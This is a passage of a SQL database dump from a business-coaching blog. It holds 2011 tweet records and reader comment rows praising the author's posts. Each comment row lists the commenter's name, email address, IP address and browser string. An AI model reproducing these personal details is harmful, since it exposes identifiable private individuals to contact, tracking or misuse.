(167, '78886879512100864', 'Why You Should Match a Brand''s Marketing to Its Stage of Life http://t.co/0IbSKnH via @marketingprofs', '', '', '2011-06-09 18:11:12', '2011-06-09 14:32:10'),
(168, '79951998333632512', 'awesome article: The art of preparing proposals that win more busine... via BIZNIK http://biznik.com/h/a6an by @thomsonwhc - check it!', '', '', '2011-06-12 16:43:36', '2011-06-12 12:47:12'),
(169, '84000010437529601', 'Humility is the bridge to common ground and greater influence. http://t.co/t0ic8nS', '', '', '2011-06-23 20:48:57', '2011-06-23 16:54:02'),
(170, '84006005574340608', 'new post on the WHC...check it out. http://fb.me/AIMy3AX9', '', '', '2011-06-23 21:12:47', '2011-06-23 17:16:45'),
(171, '84083485974863872', 'Is Facebook Approaching the End of Its Product Life Cycle? Ostensibly, Yes.: http://t.co/l8B2W4o via @AddThis', '', '', '2011-06-24 02:20:39', '2011-06-23 22:24:14'),
(172, '86145546858938368', 'The logo rises again! http://t.co/KLF3AYy', '', '', '2011-06-29 18:54:33', '2011-06-29 15:04:17'),
(173, '86264235407056896', 'I promise never to tweet a quote from famous dead people.', '', '', '2011-06-30 02:46:11', '2011-06-29 22:48:36'),
(174, '86272738540523520', 'Provide more use value than you receive in cash value http://t.co/NYoLgpR', '', '', '2011-06-30 03:19:58', '2011-06-29 23:32:13'),
(175, '86300446389583873', 'Begin with what’s at hand. http://t.co/NYoLgpR', '', '', '2011-06-30 05:10:04', '2011-06-30 01:21:31'),
(176, '86430706590429184', 'People are more important than money. http://t.co/NYoLgpR', '', '', '2011-06-30 13:47:40', '2011-06-30 09:47:50'),
(177, '86470397515665408', 'Never desire what you don’t expect to experience, nor expect to experience what you don’t desire. http://t.co/NYoLgpR', '', '', '2011-06-30 16:25:23', '2011-06-30 12:25:25'),
(178, '86481533803823105', 'My primary fascination trigger is POWER. How does your personality #fascinate? http://t.co/v46jHbj', '', '', '2011-06-30 17:09:39', '2011-06-30 13:11:45'),
(179, '86518804338835456', 'Beware of comfort, it will put you to sleep!  http://t.co/NYoLgpR', '', '', '2011-06-30 19:37:45', '2011-06-30 15:37:47'),
(180, '86553146855403520', 'New blog post: How fascinating and remarkable are you? http://www.whitehotcenter.com/how-fascinating-and-remarkable-are-you/', '', '', '2011-06-30 21:54:12', '2011-06-30 18:04:23'),
(181, '86801228541083648', 'How fascinating and remarkable are you? http://fb.me/12ZTxqJtA', '', '', '2011-07-01 14:20:00', '2011-07-01 10:27:12'),
(182, '86836949612101632', 'Do what matters to you, and what you do must matter to others. http://t.co/NYoLgpR', '', '', '2011-07-01 16:41:56', '2011-07-01 12:51:39'),
(183, '86865474746454016', 'Focus on the important, handle the urgent...discover your genius, delegate everything else. http://t.co/NYoLgpR', '', '', '2011-07-01 18:35:17', '2011-07-01 14:35:19'),
(184, '86875605991301120', 'The marketplace rewards those who earn and deserve, never because they desire or need. http://t.co/NYoLgpR', '', '', '2011-07-01 19:15:33', '2011-07-01 15:21:06'),
(185, '87613590240100352', 'Long live non-aligned  independent agencies! http://t.co/kHtQW5b via @bsindia', '', '', '2011-07-03 20:08:02', '2011-07-03 16:11:27'),
(186, '87612810435112961', 'Forget what you know, the world moves to fast for one mind – seek collaborators. http://t.co/QaivK4Y', '', '', '2011-07-03 20:04:56', '2011-07-03 16:11:27'),
(187, '87978885819535360', 'Begin with what’s at hand...there''s no shortage of supply, you are at all times surrounded by potential and possibility. http://t.co/QaivK4Y', '', '', '2011-07-04 20:19:35', '2011-07-04 16:20:58'),
(188, '88281984782172160', 'Be different, make a difference–it''s all about the quality of your presence. http://t.co/QaivK4Y', '', '', '2011-07-05 16:24:00', '2011-07-05 12:24:01');

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(2, 11, 'Danielle LaPorte', 'd@daniellelaporte.com', 'http://www.whitehottruth.com', '174.6.74.121', '2009-02-22 23:32:34', '2009-02-23 06:32:34', '<p>And so it is. BRAVO!</p>\n\n', 0, '1', '', '', 0, 0),
(3, 13, 'joe bruzzese', 'joe@thinking-forward.com', 'http://www.ThinkingForwardTV.com', '98.185.225.2', '2009-02-10 07:30:16', '2009-02-10 14:30:16', '<p>Brilliant! Most people don&#39;t think they have the time to think. Your words cut to the heart of what matters most--finding your true passion and going at it with everything you have. <br />\nRegards,<br />\nJoe Bruzzese<br />\n</p>\n\n', 0, '1', '', '', 0, 0),
(4, 14, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://web.mac.com/rhilleboe', '68.106.43.188', '2009-02-08 12:55:08', '2009-02-08 19:55:08', '<p>And God help the man or woman who deviates from his or her&#39;s &quot;Brand&quot; that took years to create. In the sixties we called people who wore their Brand Masks all day &quot;Plastic People&quot; and despised them for their phonieness and lack of spontinatiy.</p>\n\n', 0, '1', '', '', 0, 0),
(6, 20, 'jodi anthony', 'jodianthony@sbcglobal.net', '', '69.230.165.25', '2008-10-13 09:57:17', '2008-10-13 16:57:17', '<p>Right on Thomson!   I agree with everything that you have so beautifully put into words.  </p>\n\n<p>Thanks for the reminder and more importantly... thanks for being the light during this interesting time.</p>\n\n<p>In deep gratitude,<br />\nJodi</p>\n\n', 0, '1', '', '', 0, 0),
(7, 20, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://web.mac.com/rhilleboe', '68.106.43.188', '2008-10-13 11:12:43', '2008-10-13 18:12:43', '<p>Some useful idea here stated lucidly. The part of there being no future is so true, existential and forces one to live in the now. Practical suggestions well stated. </p>\n\n', 0, '1', '', '', 0, 0),
(8, 20, 'Clarissa', 'cradoyce@hotmail.com', '', '71.138.89.160', '2008-10-13 12:15:00', '2008-10-13 19:15:00', '<p>Hey Thomson,<br />\nThank-you for stating so clearly what we all need to remember! I think that there is an incredible opportunity in this chaos to see the corruption and greed that still reign supreme, and that we can no longer, as a humanity, continue this way. A rebalancing of our value system must occur, there IS enough for everybody! <br />\nThank-you for all your wisdom!<br />\nClarissa </p>\n\n', 0, '1', '', '', 0, 0),
(9, 20, 'Bert Mahoney', 'bert@hamiltonberchman.com', 'http://www.hamiltonberchman.com', '208.106.122.34', '2008-10-13 12:51:18', '2008-10-13 19:51:18', '<p>Thomson,<br />\nVery well stated.<br />\nTwo things stand out to me.</p>\n\n<p>1. Media Fasting. <br />\nGreat suggestion. I know that the media hypes things just to get eyeballs on their content. Eyeballs=advertising revenue and makes sense if you are on their side of the equation. However, overall I think it does a disservice to the average citizen in terms of staying informed.</p>\n\n<p>2. Forget the Future.<br />\nAgain another great suggestion. Really all we have is the present moment. Sure tomorrow will come but none of us are guaranteed to be here for that (not intending to sound grim :-) Instead focusing on the present moment and the opportunities it presents are key.</p>\n\n<p>Keep up the great work with your blog. Enjoying every post.</p>\n\n<p>-Bert</p>\n\n', 0, '1', '', '', 0, 0),
(10, 20, 'joe bruzzese', 'joe@thinking-forward.com', 'http://thinking-forward.typepad.com', '68.6.65.213', '2008-10-19 16:27:29', '2008-10-19 23:27:29', '<p>You&#39;re spot on here my friend! In fact this coming Monday my show will focus on connecting working parents with two strategies for keeping stress from overwhelming their day both at work and at home. Thanks for bringing this topics to the community. </p>\n\n<p>Regards,</p>\n\n<p>Joe Bruzzese</p>\n\n', 0, '1', '', '', 0, 0),
(11, 26, 'Bert', 'bert@hamiltonberchman.com', 'http://www.berchman.com', '76.240.249.65', '2008-01-06 18:05:06', '2008-01-07 01:05:06', '<p>Thomson,<br />\nWhat a great post. I find it interesting that we actually feel similarly about 2007. I too can &quot;say that I have been the least bit comfortable, satisfied or especially happy this year. But I have been, and continue to be, grateful for everything that has happened in this past year.&quot;</p>\n\n<p>I too received a great deal of insight from 2007 professionally and the most personally. Thanks for sharing this very real and revealing post with us.</p>\n\n<p>Here&#39;s to a great 2008.</p>\n\n', 0, '1', '', '', 0, 0),
(26, 185, 'Bert Mahoney', 'berchman@mac.com', 'http://www.berchman.com', '208.106.122.34', '2009-07-31 14:11:23', '2009-07-31 21:11:23', 'My wife. My kids. Spending time with my family.\r\nLearning new things and sharing what I learn.\r\nDoing good work.', 0, '1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152)', '', 0, 0),
(27, 187, 'Bert Mahoney', 'berchman@mac.com', 'http://www.berchman.com', '208.106.122.34', '2009-08-03 10:43:44', '2009-08-03 17:43:44', 'I think ''enough'' is when your needs and goals have been met. Greed and gluttony can only produce unhappy outcomes (as witnessed by recent economic events).', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19', '', 0, 0),
(28, 189, 'Bert Mahoney', 'berchman@mac.com', 'http://www.berchman.com', '208.106.122.34', '2009-08-03 10:47:50', '2009-08-03 17:47:50', 'It means doing work that is personally satisfying because you feel like you are helping someone and/or make a difference. It means doing work that solves the problem at hand and moves toward a goal.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19', '', 0, 0),
(29, 191, 'Bert Mahoney', 'berchman@mac.com', 'http://www.berchman.com', '208.106.122.34', '2009-08-03 10:50:32', '2009-08-03 17:50:32', 'I am grateful for everything I have. My life, my family, my health. I can say that I am truly blessed and quite lucky for my present situation.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19', '', 0, 0),
(30, 191, 'Colleen Dawson', 'dawsoncolleen@gmail.com', '', '71.205.125.103', '2009-08-13 21:10:51', '2009-08-14 04:10:51', 'I am grateful for my wonderful father who created this amazing website on how to inspire people in every essence of their soul:) Love you so MUCH!', 0, '1', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322)', '', 0, 0),
(31, 185, 'RaShelle Roberts', 'rashelle@getinvision.com', 'http://www.getinvision.com', '24.234.163.34', '2009-08-25 11:46:55', '2009-08-25 18:46:55', 'My son, my family, my friends! Spending my time on projects that have meaning! Loving deeply-living meaningfully.', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13', '', 0, 0),
(32, 588, 'Bert Mahoney', 'berchman@berchman.com', 'http://www.berchman.com', '208.106.122.34', '2009-08-26 23:09:52', '2009-08-27 06:09:52', 'I''ve been in business for myself over the past four years. Before I set out on this adventure I planned and worked at setting up my business. However, much of what I was doing was more from a place of <em>fear</em> (not being successful) rather than that of <em>inspiration</em>. I find myself in the process right now of transforming and realigning my business. It''s definitely from a place of inspiration.\r\nThanks for this post.', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0', '', 0, 0),
(35, 588, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '24.43.1.72', '2009-08-31 09:31:09', '2009-08-31 16:31:09', 'Bert--\r\n\r\nthanks for your openness in commenting... inspiration feels like more fun than fear, wouldn''t you agree?  I already know the seeds are in good dirt, with plenty of sun and water! Believing is seeing!\r\n- Thomson', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2', '', 0, 2),
(57, 20, 'Kendall', 'kendall@thinkspoon.com', 'http://thinkspoon.com', '72.179.38.230', '2010-02-15 09:31:11', '2010-02-15 16:31:11', 'Thom,\r\nVery well said. I will apply this to my business life today.\r\n\r\nKen', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7', '', 0, 0),
(60, 577, 'Bigfish GR/USA', 'cronkhite7@comcast.net', '', '71.205.192.102', '2010-02-19 10:31:30', '2010-02-19 17:31:30', 'keeping the love...\r\n\r\nthank you mr. dawson! sadly, sometimes we''re straddled with clients who don''t care about the relationship as much as they do the bottom line and crash deadlines. but this does remind us to look for, secure and serve the kind of clients who do value relationships. sometimes we latch on to the less desirable or less deserving because we allow ourselves to be reduced to the "grin and bill it mentality". nice, inspiring piece.\r\n\r\nwhen i was young, i lived on a farm that grew acres and acres of asparagus. we''d take some to the ''avion'' travel trailer convention at the local fair grounds. we''d set up a little shop and everyone clamored for fresh asparagus. i remember carefully laying out 3 pounds on the scale. removing one fat one replacing it with a skinnier one...finally my dad saidl, "let me show you how it''s done". he grabbed about 3 pounds, threw it on the scales and then grabbed a few extra pieces and tossed them on as well. "now THAT''S 3 pounds", he said. give them more than they bargained for and they''ll be back was his message to me. that''s why i was always the one working until midnight, telling everyone "no problem" when they asked if i could get the job done. never said maybe or i''ll try. always said ''no problem'' then did whatever it took to get the job done. thanks again old friend.', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10', '', 0, 0),
(65, 24, 'KJ', 'karen@johnsondesign.com', '', '98.243.221.34', '2010-03-01 07:53:39', '2010-03-01 14:53:39', 'Nice post! A reminder of insight. \r\nA rich man’s wealth is his strong city, And like a high wall in his own imagination!', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10', '', 0, 0),
(82, 20, 'greg', 'g@gmail.com', '', '78.146.254.155', '2010-03-29 15:10:25', '2010-03-29 22:10:25', 'hi\r\n\r\nid like to say you have a beautiful blog. ive never actually used those two words in the sentence before, so please, be honoured.\r\n\r\nG', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9', '', 0, 0),
(94, 191, 'Thomson Dawson', 'thomson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.196.65.243', '2010-04-10 11:28:17', '2010-04-10 18:28:17', 'thanks Colleen... it reminds me of how grateful I am to have a daughter like you! I am so proud of you! I admire your courage and belief in yourself to go for what you want! You are a blessing indeed! I love you!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3', '', 0, 0),
(95, 189, 'Thomson Dawson', 'thomson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.196.65.243', '2010-04-10 11:39:37', '2010-04-10 18:39:37', 'great work is any activity that brings you deep personal joy and freedom. In my experience, I get the most joy from inspiring people and helping them succeed. So it''s not really work at all!  I believe most people desire to be engaged in great work, but are confused as to what that would be, or are too comfortable to risk all to pursue their vision of it.\r\n\r\nGreat work is the key to life and everyone of us has the capability to add our unique talent into the mix of making the life experience better for everyone..', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3', '', 0, 0),
(96, 187, 'Thomson Dawson', 'thomson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.196.65.243', '2010-04-10 11:49:43', '2010-04-10 18:49:43', 'Of course all humans require food, shelter, water to simply exist on this planet, So I guess in one sense, that''s enough! But we all know that isn''t enough for humans to thrive. I''m all for enough of what makes life thrive!\r\nEnough thriving energy for everyone on the planet!  I also believe there is no shortage of supply, So if there is no shortage of supply then there is enough!  By the way, my faith in that idea is tested daily.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3', '', 0, 0),
(106, 691, 'Martyna Bizdra', 'ideaofthefuture@gmail.com', 'http://www.successupermarket.com/blog/', '83.21.167.183', '2010-05-08 13:03:51', '2010-05-08 20:03:51', 'Hi Thomson\r\n\r\nNice to meet you, I have found your interesting article on ezineartilces. com and here I am.\r\n\r\nI agree with your words about Individualism, it is the way to endless peace of mind with loud emotions. \r\nAnd funny thing...we know that individuality is the key to endless growth, to prosperity in every situation whether it is growth or financial crisis, so how would you explain the absence of self-reliance and integrity in most of the people around the world?\r\nand question two- how would you encourage people to become more innovative?\r\n\r\nThanks for your work, \r\nMartyna Bizdra', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3', '', 0, 0),
(112, 772, 'Richard Houser', 'richouser1of1@gmail.com', 'http://treatthebackpain.com', '76.91.2.120', '2010-05-19 08:17:52', '2010-05-19 15:17:52', 'Inspiring article.  I never cease to need to be reminded that it really all starts "inside" me; that its not happening "outside" of me or without me at all.  I find that seeing the idea, combined with connecting an emotional charge to it "supercharges" it in a sense.  Being excited about it, passionate, or even a sense of financial urgency can help to materialize it more quickly and solidly.  Any supportive emotion really.  \r\n\r\nKeep telling us what we need to hear!', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7', '', 0, 0),
(113, 772, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.196.65.243', '2010-05-19 13:34:09', '2010-05-19 20:34:09', 'Richard-\r\nwell said my friend!\r\nthe best to you, \r\nthomson', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3', '', 0, 2),
(126, 845, 'Richard Houser', 'richouser1of1@gmail.com', 'http://treatthebackpain.com', '76.91.2.120', '2010-06-08 07:12:42', '2010-06-08 14:12:42', 'Right on target again Thomson. Eager for Part 2.', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7', '', 0, 0),
(138, 871, 'Stephanie', 'Stephanie.ONeill13@gmail.com', 'http://Stephanie.ONeill13@wickedstepkids.com', '76.178.108.55', '2010-06-28 11:47:03', '2010-06-28 18:47:03', 'This article offers brilliant insight into not only business influence but influence in our every day relationships. Coupling your explanation of influence with your explanation about the  need to concurrently build relationships is what distinguishes truly good (i.e. NOT manipulative) salespeople with those who give the profession a bad rap.  Keep up the good work!', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6', '', 0, 0),
(309, 1151, 'Bert', 'berchman@berchman.com', 'http://www.berchman.com', '208.106.122.34', '2010-10-21 13:48:47', '2010-10-21 20:48:47', 'Thomson,\r\nThis post was written for me. I definitely have bandwidth limitations AND have many great ideas waiting for the awesome sauce!\r\n\r\nYou make an interesting distinction that I''ve never thought of before, "If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement."\r\n\r\nI''ve always thought that one must *push through* the anxiety and resistance to produce, to achieve, to manifest something towards a goal, idea, or project. Even if what is produced is not a desired result, it is a result and can inform you about what you are focused on.\r\n\r\nIs *forced work* a bad thing? Even when it helps clarify what you don''t want?\r\n\r\nLet me know what you think.\r\n\r\nKeep sharing your great ideas!!\r\n\r\nThanks,\r\nBert', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5', '', 0, 0),
(327, 1115, 'Colleen', 'dawsoncolleen@gmail.com', '', '96.24.152.40', '2010-11-03 18:45:11', '2010-11-04 01:45:11', 'What an amazing and inspired idea! This sounds so insightful and something that I definitely want to be a part of! Inspiring and encouraging greatness in ones business and ones self is always a great thing!! Way to go!!', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16', '', 0, 0),
(347, 1115, 'Focus your attention on your genius delegate everything else. — White Hot Center', '', 'http://www.whitehotcenter.com/2010/11/16/focus-your-attention-on-your-genius-delegate-everything-else/', '74.208.129.31', '2010-11-16 17:11:13', '2010-11-17 00:11:13', '[...] taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day White Hot Center Quantum Leap Workshops beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to [...]', 0, '1', 'The Incutio XML-RPC PHP Library -- WordPress/2.9.2', 'pingback', 0, 0),
(493, 1330, 'Bert Mahoney', 'berchman@berchman.com', 'http://www.berchman.com', '208.106.122.34', '2010-12-18 12:46:52', '2010-12-18 19:46:52', 'Thomson,\r\nGreat post and a good reminder to keep things into perspective.\r\nYour post reminded me to take stock of what has been accomplished. I find many times I am so focused on the next thing(s) I rarely look at what I''ve accomplished and instead focus on what is NOT done.\r\nI''m glad I''ve been able to help you in these past years with your accomplishments and it inspires me to improve myself.\r\nHappy Holidays!!!\r\nCheers,\r\nBert', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.231 Safari/534.10', '', 0, 0),
(507, 1330, 'Terry Tillman', 'TTillman@227company.com', 'http://www.227company.com', '75.170.31.25', '2010-12-23 16:52:13', '2010-12-23 23:52:13', 'Excellent Thomson--honest, clear and vulnerable. Thank you. This is a good reminder, and inspiration, for my annual "taking stock" routine that I usually do on January 1.', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4', '', 0, 0),
(508, 1330, 'Hsuan-hua Chang', 'hh@coachseattle.com', 'http://www.coachseattle.com', '96.240.113.65', '2010-12-24 00:38:25', '2010-12-24 07:38:25', 'Good job in the last three years to realize your dreams. Your reflection of 2010 inspires me to do mine! Thank you for sharing your life with us.', 0, '1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; ATT; MS-RTC LM 8; ATT)', '', 0, 0),
(513, 1330, 'Karen Mathieson', 'Karen@SerendipityCommunications.com', 'http://www.SerendipityCommunications.com', '69.71.174.43', '2010-12-24 11:09:11', '2010-12-24 18:09:11', 'Thank you, Thomson, for being so transparently authentic--or is that authentically transparent? Either way, I''m grateful for your vision, as I seek to apply many of its elements in my own life and career.\r\n\r\nHad your crystal ball been a bit more polished in 2007, you might have set somewhat more modest financial goals. However, your ability to remain focused on what most mattered to you amid the meltdown and slow re-casting of the economy does you enormous credit.\r\n\r\nOne of my commitments for 2011 is to read every word you publish, and to learn all I can from your intelligent, positive and passionate approach to the delivery of value for our clients!\r\n\r\nBest wishes and smooth sailing ~ Karen', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13', '', 0, 0),
(578, 1434, 'akka b.', 'drunkloveheart@gmail.com', 'http://drunkloveheart.com', '69.107.249.180', '2011-01-03 12:21:17', '2011-01-03 19:21:17', 'I love your writings... they always get me juiced up. ; )', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13', '', 0, 0),
(599, 1434, 'Derek, Wave Tribe', 'info@wavetribe.com', 'http://wavetribe.com', '76.174.143.120', '2011-01-05 20:55:10', '2011-01-06 03:55:10', 'Awesome advice Thomson, when I started my business three years ago I thought that spending 20 hours in front of the computer would create results---you are right on, fours hours of results oriented focus is way more productive! I love the line "co-create what’s necessary" and want to thank you for the post.\r\n\r\nDerek, CEO Wave Tribe', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.42 Safari/534.13', '', 0, 0),
(3055, 1624, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.198.37.133', '2011-06-13 08:36:08', '2011-06-13 15:36:08', 'Sara-- your are most welcome!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17', '', 0, 2),
(3053, 1624, 'Sara Nelson', 'sara@saranelsondesign.com', 'http://saranelsondesign.com', '64.184.156.235', '2011-06-13 07:16:19', '2011-06-13 14:16:19', 'Thank you. Thank you. Thank you!!!', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8', '', 0, 0),
(903, 1523, 'Karen Mathieson', 'Karen@SerendipityCommunications.com', 'http://www.SerendipityCommunications.com', '69.71.174.43', '2011-02-10 10:55:42', '2011-02-10 17:55:42', 'Thank you for the clarification of who and what a prospect is, Thomson, and for your graceful use of a natural metaphor. I will be bearing your words in mind as I nurture the growth of my own specialized business!\r\n\r\n~Karen', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1', '', 0, 0),
(904, 1523, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.198.37.133', '2011-02-10 12:22:22', '2011-02-10 19:22:22', 'Thanks Karen... sure appreciate your comment!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13', '', 0, 2),
(751, 1434, 'Susan', 'susan@strauberrystudios.com', 'http://strauberrystudios.com', '24.22.243.20', '2011-01-18 12:32:41', '2011-01-18 19:32:41', 'Great article Thomson.\r\nI think as entrepreneurs we think that everything has to be just so. If we are Artistic Entrepreneurs it is even worse. Being naturally introverted seems like a good excuse to stay in the studio.\r\n\r\nI have made a point to start the year off by being seen and heard. I am going to more face to face events and I am speaking at more events. People can''t know, like or trust you is you are a wall flower. I am moving the Needle forward and learning to enjoy enjoy it more. The more we do what we fear the less of a hold fear has on us.\r\n\r\nThanks for another great article.', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4', '', 0, 0),
(752, 1434, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.198.37.133', '2011-01-18 12:42:15', '2011-01-18 19:42:15', 'Thanks all for reading and sharing your comments!  This is what keeps me rocking the needle here on the White Hot Center!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13', '', 0, 2),
(2546, 13, 'Tammy Johnson', 'tammy.johnson@zondervan.com', 'http://www.designrelated.com/tammy', '199.201.6.21', '2011-05-16 05:26:33', '2011-05-16 12:26:33', 'So true and well said. To be involved with ideas and plans that are in line with our passion is a daily endeavor.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5', '', 0, 0),
(3460, 1662, 'akka b.', 'drunkloveheart@gmail.com', 'http://drunkloveheart.com', '69.111.191.243', '2011-06-30 15:42:14', '2011-06-30 22:42:14', 'YOU are remarkable and fascinating BOTH. :)', 0, '1', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13', '', 0, 0),
(3461, 1662, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.198.37.133', '2011-06-30 15:44:31', '2011-06-30 22:44:31', 'Thank you so much for those kind words! Backatcha :-)', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18', '', 0, 2),
(3633, 1735, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://ww,KandiKoatedArt.com', '68.3.143.61', '2011-07-24 15:26:07', '2011-07-24 22:26:07', 'I liked your examples but you forgot by far the most important one:\r\nExisting as opposed to not. Or as Hamlet put it, "To be or not to be?"\r\n', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) Gecko/20100101 Firefox/5.0.1', '', 0, 0),
(3669, 1735, 'Kevin Moreau', 'contact@bad-spoon.com', 'http://www.bad-spoon.com', '90.0.66.111', '2011-07-27 13:34:37', '2011-07-27 20:34:37', 'A brilliant article, I can''t thank you enough for that! Tension is energy, and energy is power, you''re so right about this.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1', '', 0, 0),
(1909, 1245, 'Bryce Jackson', 'whatablessing.bryce@gmail.com', 'http://whatablessing.net', '68.28.41.228', '2011-04-15 10:38:44', '2011-04-15 17:38:44', 'Great Article. To find out what money really is go to our Financial Literacy website to find out more information. Things that they did not teach you in school that you need to know.', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 BTRS28059 Firefox/3.6.16', '', 0, 0),
